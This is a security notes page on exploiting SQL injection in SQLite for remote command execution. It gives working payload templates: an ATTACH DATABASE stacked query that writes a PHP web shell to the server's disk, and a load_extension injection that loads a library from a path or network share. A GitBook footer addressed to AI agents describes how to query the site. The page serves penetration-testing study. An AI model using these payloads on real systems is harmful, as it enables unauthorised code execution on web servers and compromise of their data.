> For the complete documentation index, see [llms.txt](https://notes.qazeer.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.qazeer.io/web-applications/exploitation-sql_injections/sqlite.md).

# SQLite.md

### Remote Command Execution

**Attach Database**

The SQLite `ATTACH DATABASE` statement permit to attach additional databases to the current database connection. It can thus be used to attach to others databases stored on the file system and that may contain interesting information.

Moreover, if the attached database does not exist, a new file is created on the file system, given the web server user as write privilege at the specified path. By creating a file that will be executed by the web server and inserting code in a table field, remote command execution can be achieved upon access of the file.

Note: stacked queries must be supported, which is the default SQLite configuration

```
# Example ATTACH DATABASE to write a PHP web shell

ATTACH DATABASE '<FULLPATH | RELATIVE_PATH>/<FILENAME>' AS file; CREATE TABLE file.cmd (dataz text); INSERT INTO file.cmd (dataz) VALUES ('<?system($_GET["cmd"]); ?>');--
```

**Load\_extension statement**

The `SELECT load_extension` statement can be used to load a library from disk (such as a `DLL` or `shared object .so` file). The second parameter corresponds to the entry point of the library.

```
UNION SELECT 1,load_extension('<LIBRARY_PATH | \\<IP | HOSTNAME>\<SHARE>\<LIBRARY>','<DllMain | ENTRY_POINT>');--
```

***

### References

<http://atta.cked.me/home/sqlite3injectioncheatsheet>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.qazeer.io/web-applications/exploitation-sql_injections/sqlite.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
